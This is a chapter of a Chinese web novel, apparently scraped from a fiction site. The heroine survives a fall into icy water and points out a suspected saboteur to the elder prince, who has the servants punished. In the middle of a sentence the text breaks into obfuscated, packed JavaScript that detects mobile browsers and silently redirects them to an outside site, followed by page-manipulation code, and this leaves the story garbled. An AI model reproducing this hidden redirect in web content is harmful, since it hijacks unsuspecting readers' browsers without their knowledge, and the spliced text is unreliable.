水是那样的冷,四周是那样的黑,齐月意识逐渐昏沉,她无声与兄长、小妹告别。
可不知是怎么了,原本沉重的身体仿佛被施了法术,飘飘然轻巧起来,自己似乎逐渐向上浮去。
直到一只温热的大手拉住自己,将她向上牵引,明亮的红光透过紧闭的眼皮,让她重新感到光明,她才意识到自己或许真的要死了,这种令人留恋的感觉,难不成是传说中的“回光返照”?
尽管她感觉自己仿佛冲出了水面,此时已经没那么寒冷,没那么黑暗,可是她一遍遍确信自己在“回光返照”,更是在这种自我洗脑下彻底失了意识。
耳中传来“叽叽喳喳”的鸟鸣,还有几声刻意压抑的说话声。
原来阴曹地府也有这些人间的声响吗,齐月从昏沉中醒来的第一个念头便是如此。
她强迫自己睁开眼睛去看看“地府”长什么样子。
一样的帐子,一样的屋子,一样的院子,原来地府与余庆府没什么两样!
地府还真是贴心啊,怕人认生,特意安排了人生前最后住处的屋子摆设吗。
只是唯一一处不好:就是人都死了,这个浑身的剧痛怎么还是没能消除掉呢!
浑身疼的难受,她龇牙咧嘴的“哎呦”一声,丝毫没有往日谨小慎微的样子。
“你醒了?”
一声浑厚严肃的问话惊得齐月一时不知道该答什么话,只茫然向四周看去,想寻找是谁发出的声响。
果不其然,怪不得如此耳熟,竟真的是大王子伦多。
“大殿下,您也......死了?”齐月一脸真诚问道。
真是想不到,黄泉路上竟然还有个熟人作伴,就是不知这大王子是出了什么事情。
听到齐月乱七八糟的问话,伦多“呵”的一下笑出了声。
“任大夫,再过来瞧瞧,看看是不是吓糊涂了!”
仍旧是前日给自己看伤脚的那个大夫,此时正一脸严肃的朝着自己走来,那板板正正的样子,仿佛是要在自己脸上再包扎一个同样丑陋的绷带一般。
齐月身体向后仰了仰,无声地拒绝,那嫌弃的样子,不用嘴巴说,也能被周围人明显的看出来。
“王妃,切莫讳疾忌医,让老夫看看是不是伤到了脑袋吧!”那大夫捋着胡子走到床边。
“不是,我没事啊”齐月急的叫起来,生怕真被眼前二人当成伤到脑子的疯妇。
齐月着急躲避走到眼前的大夫,向左右摇晃的动作幅度过大,牵扯到不知是手臂还是脚踝,全身又一起疼了起来,她不由自主倒吸一口凉气。
“动作如此迅捷,还真不像是受伤的样子呢!”大王子语气轻飘飘说道。
什么伤不伤的,齐月此时全没放在心上,她在乎的只有一件事,就是自己还有命在。
“我竟还活着!承木如何了?”
庆幸自己捡回一命,她紧接着又牵挂起一起遇险的承木来,迫切想知道他的情形。
“他好得很,你不必牵挂他,要不是因他贪玩,何故累你受此劫难,你放心,我自会好好收拾他!”伦多恶狠狠的说道,齐月眼前立刻出现一副场景:人高马大的伦多拎起小鸡仔似的承木,仿佛正欲施暴。
“大殿下,这倒也不能全怪承木,我是觉得是有人在暗中做手脚!”她脱口而出替那孩子辩白。
伦多目眦欲裂,从距离床铺较远的地方一个跨步迈到齐月眼前:“你何出此言?”
齐月被他这幅有些激动的神色吓住了,声音放的更低了一些:“我也没什么证据,就是感觉如此。”
“把你那‘感觉’说的具体些。”
“拉木橇的人似乎有些问题。”
“能随我从王城过来余庆府的,都是待在我府中的世仆。”
言外之意,那些人都是值得信任的。
齐月一时不知该说什么好,世仆的忠诚大多是不用质疑的,她有些动摇,不再坚持刚才的说法:“大殿下,或许是我多心了也不一定。”
伦多在室内踱步,冷不妨回头看向齐月道:“我选择信你!”
“我也信小婶母!”伦多话音刚落,那个小小的身影从门外忽的窜出,跳到齐月床边,也挺起胸脯说道。
“我正找你呢!”伦多恨铁不成钢的指着承木,一副凶神恶煞的样子。
承木看了看受伤的齐月,自知有错,低下头扁着嘴对齐月道:“小婶母,对不起,都是我的错,让你受伤了!”
齐月赶紧伸手拉着他:“承木,刚才你还说相信小婶母呢,婶母也相信你肯定不会故意让我伤着的!”
话罢,她抬头看向伦多:“大殿下,我们该如何确定到底是不是有人在捣鬼呢?”
“你的‘感觉’是所有人都有问题,还是个别人的嫌疑比较大?”
“当时引起我怀疑的只有一个人,那人眼神有些怪异,我便有了防备,幸好最后承木与我都没大碍。”
“指出那人,其余的你不用管,我自会派人护卫你的安全!”伦多毫不犹豫说道,之后腰间环佩激烈撞击,他匆匆离开此处,
明明已经走出了门外,又伸回头来脸色不善的指了指承木:“你速速回自己的屋子去,不要在叨扰婶母!”
承木吐舌头做了个鬼脸并不理会,依旧叽叽喳喳与齐月说些天马行空的事。
齐月心中藏着事情,并没有如承木一般神色轻松,她紧紧皱着的眉头一直没有打开过。
“婶母,你不会真的生我气了吧,我真知道错了,父王说你若出了事,他一定不饶了我。”承木止住口中滔滔不绝的话,小手无措的拉着齐月衣角摇晃,眼神期期艾艾。
齐月这才回过神来,一边爱抚承木脑袋,一边柔和答道:“是婶母不对,与承木说话时走了神,你可莫怪我才是呀!”
承木扭捏两下,又继续摇晃他快乐的小脑袋,齐月突然觉得自己掌心抚摸的不是个孩子,而是毛茸茸的什么,比如小猫小兔子一般可爱的小东西,抑制不住的也笑了。
正是在这其乐融融之中,齐月终于等来了他要等的人。
“五王妃,大殿下有请。”大管家先是看了看承木,又一脸感激的望向齐月说道。
“是要去指认那个人吗?”
管家点点头,又禀告道:“大殿下特意交代了,绝不让您再接触那些歹人,您只需隔着窗户看上一眼就行了。”
齐月点点头,出门登轿,随他而去。
来到的地方像是大王子的书
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16692612|188910||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
房,和阳庭的书房相比,这里大得多,院子里的护卫也多的多。
齐月并不敢胡乱看,只随着管家的指引向屋内走去。
“来了,过来吧”
齐月刚一进去,甚至都没来得及看清人在哪里,就听见大王子招呼自己。
她茫然向四周望去,仿佛声音是从屏风之后传来,便一瘸一拐的向那处走去,果然看见大王子正站在那扇窗户前。
那扇窗子能看得到院中的一切动静,可由于角度设计的精妙,外面是不太容易看到此处的。
齐月心想,或许,从自己一进这个院子,他便已经看见了。
大王子看似爽朗豪迈、不拘小节,实则也有心思缜密、谨小慎微的一面。
她适时停下脚步,朝大王子行了个礼。
“来这里。”大王子示意齐月向他那里再靠近一些。
齐月并没说什么,只是照着他的要求也站在了窗户边。
果然,从这处看院落,一览无余。
院子中人逐渐多了起来,鱼贯而入的仆从,既有当日陪着承木的仆妇乳母,也有拉橇板的一众人,那个当日多次偷窥自己的人也在其列,此时面上亦如众人一般镇静。
“认认吧”大王子双臂环抱,下巴向前点了点那群人。
齐月依言向外看去,抬手指向刚才早已经看到的那人,低声说道:“那个穿褐色衣服的矮个子!”
她只简短的说了一句,便又退回距离大王子远一些的地方,静静等他指示。
窗外管家愤怒开腔“摔了五王妃和少爷的事,你们别想着殿下会轻易揭过去,就在此处,说说到底是怎么回事!”
声音传回室内,二人都静静听着。
大王子看她一眼,不紧不慢说道:“你先待在此处,等人散了自会有人带你离开。”
话罢,气定神闲的踱着步子走出去了。
先前在自己那里,自己告诉他或许此事有些蹊跷,他一副风风火火的样子;此时,明明已经指认了人,他又好似不甚在意了。
齐月总觉得发生了什么,可此时距离他离开自己那里也并没过去太久。
她只当是自己近来有些精神紧张,便也并未想得太多。
院中仆从仍旧在七嘴八舌的说着话,有人呼喊“饶命”、有人小心解释那是“意外”,也有人跪着瑟瑟发抖,并不敢吱声。
齐月只看那褐色衣服,表现得倒真像那么回事:不但不抵赖,还一个劲的磕头求饶。
要不是齐月确认当时从他眼中看到了恶毒,此时怕是也会怀疑自己是不是冤枉了好人。
只见伦多终于出现在了视线中,不过已不是面对自己时那副笑眯眯的样子,似乎有了宁赫的影子——冷冰冰,不苟言笑。
或许这是蒲耶家族共有的冷脸吧,她想着。
“仆妇一人五十大板,那些关进刑房。”伦多指着那些拉橇板的从人发号施令。
简短的话仿佛惊涛骇浪,院中众人仿佛海面上没有依靠的船,瑟瑟发抖,先前嘈杂的声音此时竟安静的有些诡异。
齐月心中有些不忍,这些人中一定有含冤受屈的,可是小主子受了伤,伦多这样安排或许也有他的道理,她别过眼去,不再看外面。